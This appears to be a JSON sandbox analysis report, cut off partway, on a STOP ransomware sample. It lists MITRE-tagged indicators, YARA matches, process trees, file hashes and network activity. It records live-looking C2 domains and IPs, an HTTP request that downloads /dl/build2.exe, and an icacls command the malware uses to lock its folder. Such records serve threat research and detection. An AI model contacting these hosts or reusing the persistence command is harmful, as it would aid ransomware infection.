\"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" (PID: 10bc)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$71","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: Microsoft Internet Explorer","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00006576\" as \"Detects STOP ransomware\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00004284\" as \"Detects STOP ransomware\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00006344\" as \"Detects STOP ransomware\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00005728\" as \"Detects STOP ransomware\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" (UID: 00000000-00007112)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Rename many files with double extensions (often indicator of ransomware infection)","description":"\"04587099.exe\" renames more than 100 files with extension \".resources_31bf3856ad364e35_10.0.17134.1_ky-kg_d6650909d6f12c16.manifest.weon\"","origin":"API Call","mitre_attack_id":"T1486","relevance":10,"id":"api-200","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$72","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to query network adapter information"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}]},"activity":{"stats":{"process_count":20,"spawned_processes_count":20,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":15,"imported_dlls_count":101,"dropped_files_count":0,"extracted_files_count":87,"files_written_count":9,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["criminal","ransomware","stop","banker","dridex","filecoder","maldoc"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"64772d363cb027d4770cd917","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ser.Zusy","contacted_countries":["BGR","CAN","KOR"],"submit_name":"04587099.exe","analysis_start_time":"2023-05-31T11:19:19+00:00","indicators_count":{"informative":216,"suspicious":87,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"162.0.217.254","port":443,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"address":"93.152.141.65","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"address":"211.168.53.110","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"dns_resolutions":[{"domain":"api.2ip.ua","address":"162.0.217.254","ttl":300,"country":"Canada","registrar_name":"ua.101domain","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"domain":"colisumy.com","address":"93.152.141.65","ttl":143,"country":"Bulgaria","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"NS1.SUMMARYSET.ORG","registrar_creation_date":"2023-03-01T11:41:12+00:00","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"domain":"zexeq.com","address":"211.168.53.110","ttl":150,"country":"Korea, Republic of","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"NS1.NEWCRYPTOR.ORG","registrar_creation_date":"2023-01-19T10:03:37+00:00","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"http_requests":[{"host":"colisumy.com","host_ip":"93.152.141.65:80","url":"/dl/build2.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dl/build2.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: colisumy.com","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"host":"zexeq.com","host_ip":"211.168.53.110:80","url":"/raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}],"processes":[{"pid":5124,"ppid":0,"name":"04587099.exe","command_line":"","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"C:\\04587099.exe","uid":"00000000-00005124","icon":"$73"},{"pid":6576,"ppid":5124,"name":"04587099.exe","command_line":"","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"C:\\04587099.exe","parent_uid":"00000000-00005124","uid":"00000000-00006576"},{"pid":7112,"ppid":6576,"name":"icacls.exe","command_line":"icacls \"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00006576","uid":"00000000-00007112"},{"pid":5616,"ppid":6576,"name":"04587099.exe","command_line":"--Admin IsNotAutoStart IsNotTask","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"C:\\04587099.exe","parent_uid":"00000000-00006576","uid":"00000000-00005616"},{"pid":6344,"ppid":5616,"name":"04587099.exe","command_line":"--Admin IsNotAutoStart IsNotTask","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"C:\\04587099.exe","parent_uid":"00000000-00005616","uid":"00000000-00006344"},{"pid":6448,"ppid":6344,"name":"WerFault.exe","command_line":"-u -p 6344 -s 2136","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00006344","uid":"00000000-00006448"},{"pid":6372,"ppid":6344,"name":"WerFault.exe","command_line":"-u -p 6344 -s 2124","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00006344","uid":"00000000-00006372"},{"pid":4268,"ppid":0,"name":"04587099.exe","command_line":"--Task","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe","uid":"00000000-00004268","icon":"$74"},{"pid":7000,"ppid":4268,"name":"04587099.exe","command_line":"--Task","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe","parent_uid":"00000000-00004268","uid":"00000000-00007000"},{"pid":628,"ppid":7000,"name":"lsass.exe","command_line":"","sha256":"adadfa0d533944579ba0e5fe31a68d4d1395e7b9db75e58d47e0adc0da5ad16c","normalized_path":"%WINDIR%\\System32\\lsass.exe","parent_uid":"00000000-00007000","uid":"00000000-00000628"},{"pid":884,"ppid":7000,"name":"svchost.exe","command_line":"-k rpcss -p","sha256":"b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b","normalized_path":"%WINDIR%\\System32\\svchost.exe","parent_uid":"00000000-00007000","uid":"00000000-00000884"},{"pid":356,"ppid":7000,"name":"svchost.exe","command_line":"-k LocalServiceNoNetwork -p","sha256":"b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b","normalized_path":"%WINDIR%\\System32\\svchost.exe","parent_uid":"00000000-00007000","uid":"00000000-00000356"},{"pid":812,"ppid":7000,"name":"svchost.exe","command_line":"-k DcomLaunch -p","sha256":"b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b","normalized_path":"%WINDIR%\\System32\\svchost.exe","parent_uid":"00000000-00007000","uid":"00000000-00000812"},{"pid":5584,"ppid":812,"name":"DllHost.exe","command_line":"/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}","sha256":"3652b86125c77d7dd9fd72fc597d7bddfef4c6c2ea27a992a0b9d44aeb32f6d3","normalized_path":"%WINDIR%\\system32\\DllHost.exe","parent_uid":"00000000-00000812","uid":"00000000-00005584"},{"pid":5832,"ppid":812,"name":"DllHost.exe","command_line":"/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}","sha256":"3652b86125c77d7dd9fd72fc597d7bddfef4c6c2ea27a992a0b9d44aeb32f6d3","normalized_path":"%WINDIR%\\system32\\DllHost.exe","parent_uid":"00000000-00000812","uid":"00000000-00005832"},{"pid":6148,"ppid":812,"name":"DllHost.exe","command_line":"/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}","sha256":"3652b86125c77d7dd9fd72fc597d7bddfef4c6c2ea27a992a0b9d44aeb32f6d3","normalized_path":"%WINDIR%\\system32\\DllHost.exe","parent_uid":"00000000-00000812","uid":"00000000-00006148"},{"pid":4740,"ppid":0,"name":"04587099.exe","command_line":"--Task","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe","uid":"00000000-00004740","icon":"$75"},{"pid":5728,"ppid":4740,"name":"04587099.exe","command_line":"--Task","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe","parent_uid":"00000000-00004740","uid":"00000000-00005728"},{"pid":5792,"ppid":0,"name":"04587099.exe","command_line":"--AutoStart","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe","uid":"00000000-00005792","icon":"$76"},{"pid":4284,"ppid":5792,"name":"04587099.exe","command_line":"--AutoStart","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","normalized_path":"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe","parent_uid":"00000000-00005792","uid":"00000000-00004284"}],"all_imported_dlls":["ws2_32.dll","wow64.dll","KernelBase.dll","bcryptprimitives.dll","bcrypt.dll","msvcp_win.dll","sspicli.dll","sechost.dll","shlwapi.dll","iertutil.dll","ncrypt.dll","dpapi.dll","wintrust.dll","ntdll.dll","ucrtbase.dll","windows.storage.dll","dnsapi.dll","mswsock.dll","gpapi.dll","dhcpcsvc.dll","aepic.dll","gdi32full.dll","SHCore.dll","webio.dll","ntmarta.dll","cldapi.dll","propsys.dll","sfc_os.dll","apphelp.dll","cryptbase.dll","VxSSL32.dll","profapi.dll","rasadhlp.dll","mskeyprotect.dll","xmllite.dll","netapi32.dll","gdi32.dll","win32u.dll","msimg32.dll","wininet.dll","dhcpcsvc6.dll","FWPUCLNT.DLL","IDStore.dll","user32.dll","imm32.dll","ole32.dll","winmmbase.dll","clbcatq.dll","VxSSL64.dll","samcli.dll","oleaut32.dll","rpcrt4.dll","mpr.dll","shell32.dll","schannel.dll","winsta.dll","srvcli.dll","winmm.dll","Windows.StateRepositoryPS.dll","davclnt.dll","netutils.dll","wow64win.dll","kernel32.dll","kernel.appcore.dll","winnsi.dll","msIso.dll","ntasn1.dll","wkscli.dll","cscapi.dll","fltLib.dll","msvcrt.dll","msctf.dll","cfgmgr32.dll","crypt32.dll","msasn1.dll","winhttp.dll","rsaenh.dll","advapi32.dll","combase.dll","imagehlp.dll","cryptsp.dll","ncryptsslp.dll","taskschd.dll","ntlanman.dll","dwmapi.dll","powrprof.dll","edputil.dll","setupapi.dll","drprov.dll","wow64cpu.dll","cryptnet.dll","psapi.dll","pcacli.dll","uxtheme.dll","OnDemandConnRouteHelper.dll","davhlpr.dll","browcli.dll","userenv.dll","IPHLPAPI.DLL","nsi.dll","urlmon.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"04587099.exe","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"build2.exe","sha256":"692fe3aca06ef0e1582fcf692dfd0e2e38e1b542368848318e0095a8f85f3d77","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"04587099.exe.bin","sha256":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"build2_1_.exe","sha256":"692fe3aca06ef0e1582fcf692dfd0e2e38e1b542368848318e0095a8f85f3d77","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"bowsakkdestx.txt","sha256":"e590acc88242743a5e231a07c71af1784a2015d1a688e9a2221958a5c03dc420","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"ec39155d547a7f60992e3ad17058724617a1432272f3e8d052ee64c9382b4c7b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"deployment.properties","sha256":"6613af0afbd870f4d97674724e90429e229eb820ccb0230bde372af6d71a4277","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mitmproxy-ca-cert.cer","sha256":"5b8b2877e4797af450d67cdd6db4e099f988a3662d73ea0b912b2efaa43130c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mitmproxy-ca-cert.p12","sha256":"6ab6bed71089f90be550a2997e493664956551b242782900e3afcbcd4782f961","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mitmproxy-ca-cert.pem","sha256":"c57235fa62609da9bbcc3fbfd12d903b448ce137dcf4c3c8ed915d34375f14ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mitmproxy-ca.p12","sha256":"a6f9f936c53b7a18741ea3f7ec54e702f8c11896e5bb3a37c882c4160435bffe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mitmproxy-ca.pem","sha256":"327eff0ac5bfc2b732b826f770ee08abf33e39e8ac8a321a519d3f7110f8fadb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mitmproxy-dhparam.pem","sha256":"f72393a6b54f845f6396028a9ea35fbac126e65314491a756cda210bdd45f642","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Database1.accdb","sha256":"d4961ab66cb24a48f7570e371a8a9a3e6a7ebd6948d9e3b5bef3a2410665c829","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Open Notebook.onetoc2","sha256":"bad06f9ef8f3e3703eb27b31ee70fe770bb26633137fdf08cdadb6a65635d4ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Quick Notes.one","sha256":"a390e123fb4853049c5b76a1068619c0602332d9f259a0de16f621835a0ea513","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"OneNote Guide.one","sha256":"7e272f25e623c63dd1215d08943362dc68d58b41747a4fd0078ef697b1615f5c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Unfiled Notes.one","sha256":"5f084131b423040b0dd2b73f9d8bd086f71826481aa27147305b629ce8823a2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Outlook.pst","sha256":"20216fdb75942115051fea37a7afc771066424e2e08af9596ea8d778e5db0c19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"MicrosoftEdgeSetup.exe.xlzor0p.partial","sha256":"ca195881bf4bb2d25f8c19929055dbd4bcbb679eb26bb2494da97f7ee9d91cf5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"Bing.url","sha256":"e3e4f4e0af67d8bdddb845bcd6edbe12b98e005a8a2a772eaa0e733817547b2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"easpolicymanagerbrokerhost.exe","sha256":"5c5cc7076d3256ce885d0935142f87efcefd42b03fc8d9716c4607c9e5434aae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.cat","sha256":"b186344435b0e62db57e2179525634ef866db61f97d1b5728047ada651fbeadd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~wow64~~10.0.17134.1.cat","sha256":"d9f35feea41b32c1344e6b200eaad81fad7e09857d30318868a7544e0df3bbc7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"update.cat","sha256":"dc775bab91a059d81b9f39bdfbbd31f72969fb549b7e8c1d4a6c21f36f06f6af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"basicdisplay.inf","sha256":"bae3d7966e83b3cc6ae66a857a30ee24916b40327233db92220344395a276654","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"basicrender.inf","sha256":"31dff9c7e03a467f1d3c28b641739ae821944a39ca757304ec2d72f2b3993025","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"bthleenum.inf","sha256":"224229ce7ab77885c104159807ca38856917253f06115530acb1f96d9e49c67b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"bthpan.inf","sha256":"114563bfc80709a1ecef9983def2bccfc7af488410660f8e5bbcfe19aa7c6edb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"bthprint.inf","sha256":"942c0bfb818f7db2321d29ff40ba24e7b6e2251d8df6a776db6d79229eec8de4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"buttonconverter.inf","sha256":"04be89587b9dd19b0e9a94d0b2a7129c50313a0cbca95e49eae232efa05d3651","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"c_barcodescanner.inf","sha256":"77a6e31d5c8396eb66c43e3221fe754c7510e7db00c1f6972eec88ce0385257a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"c_cashdrawer.inf","sha256":"e91f5ff92c8615df7257b02307e1c59f94f70be98d85e7320a3475fe56b13416","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"c_linedisplay.inf","sha256":"49c8f6fb52deae5f4a465c345da6937b1fcd25d8d781f33a3e5c928df5413ede","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"c_magneticstripereader.inf","sha256":"9f6ac7749e9af21ebea138715ea830d8a0d941fd0a6c1e8cc0192b8ecad41577","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"c_receiptprinter.inf","sha256":"66861c188c408480e52c9661a89765b5cae7d090630805491c9b65bdb5f0cd1a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"display.inf","sha256":"64c13232864d627f4de2cb0c32c0cec799a0c65b4c50c47c678bc195d9a7a487","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"fusionv2.inf","sha256":"5888062985b8cde4a959b386137d557d53337a6a4c6382fbe02b1d1f6b6bf641","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"hidbth.inf","sha256":"fae0bd9f134bc2ff290e39e85c6636b8636158b663490bf2ef0d880554f754f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"hidbthle.inf","sha256":"389e3929c303ca47e1c868ab10a820dd86c4799be71701d85f73396e9d4c9f7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"hidinterrupt.inf","sha256":"85680463fb0324d86b2d1cb6304b4b5784fb5147ed2a91c1beba92ad604b3036","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"hidvhf.inf","sha256":"c989db266324892576c889677884b42a1ecb0f016cd1db9d82feefce2a5b3362","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"idtsec.inf","sha256":"17c77437ff5403eb46b6792dff8433993ad0cfd68f82fdca76ce84401063f15d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"mgtdyn.inf","sha256":"374fae3c740c414c60fa9b443394f8b39e32c6735a43c93ed2e60af9798fdf3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"miradisp.inf","sha256":"8fe3c44b87fcafce933e1a6e0bbf73cda043dc012e114400ab9f1ad064586182","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"msgpiowin32.inf","sha256":"65665c58cb6ef4f89a417cc90f8501f0b81a7df1200c18d24c815c9eabc62890","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"msmouse.inf","sha256":"b71e523e0efc92ba2fba8813cb9d7da7291c296b36e4fab3f7141714c9797eeb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"ndisuio.inf","sha256":"e2e0c9c4f73fa9eef6168dc51b1fc29311218f58469bdbc99ae11b2107165246","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"netnb.inf","sha256":"0bc7c4e2fd3d38cdaad5faba47fe5b87dab44c31346e207ec5b744d197c3f51c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"npsvctrig.inf","sha256":"cee1fab5803da264ed88d3c19fc75bb6b706db6a10123443711c915f6d596e85","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"oposdrv.inf","sha256":"5068ee1825cc13437730e6da3efecdeb6b04d5360d5adda06361e6a0277bfa2c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"sensorshidclassdriver.inf","sha256":"b83b15ffd3ddb8d237db4f1c1ae9ff00403df730a70cda870e6d28cdb15c8e31","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"ufxchipidea.inf","sha256":"51b63b19d23c39e55cb176b0bba01a417432de38973b61bf5c88939638b985b0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"urschipidea.inf","sha256":"47f238d7c20c7e8fcd47b328006679a939c3f9e88083ba26d42a6ffc76e3ae15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"urssynopsys.inf","sha256":"b16c282801821cd48227db920dd26bb05099efb4f622e3452d86a2e932c46bbc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"usbcciddriver.inf","sha256":"1b3fd5b240ce90c3ac6dfd027220b47621395a4199b5d07b1b7a7cc53f5551ac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"usbser.inf","sha256":"fed08e891a556adc9fb2e37758658cc871cf26a9f0279d438fa20dbadc3e244c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"vdrvroot.inf","sha256":"8c76e44522c0f7dccae5cc6c91b5510cbef905e155e01249fea6a88db2701ecf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"vhdmp.inf","sha256":"4119688e36ad68e08155151fff47b52fa9db856f533343588ba346da3d8fc54f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"wdma_bt.inf","sha256":"c3d62e4821d8c9e4eae1c8cf19ecf9c1972322bfc5825368dc9ae754b4ed5486","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"winusb.inf","sha256":"5f0dbd17e65d507314ca16cc745dd63f6586dddf69cf7aa92278702a8633cca9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"xboxgip.inf","sha256":"8567f257f9e3fa66a3dc470c2bde426289a937150cbb8c4303e45e1802ae707b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"xusb22.inf","sha256":"24a413c3eb5d81a7b06c9c1d2bcb80b1c9f3072e729261374f4c79267b0d365e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"securekernel.exe","sha256":"1fb1536575b4157b64b22f4195d7d95c8495873a12311b889b8f73f3a106044e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"name":"credentialuibroker.ex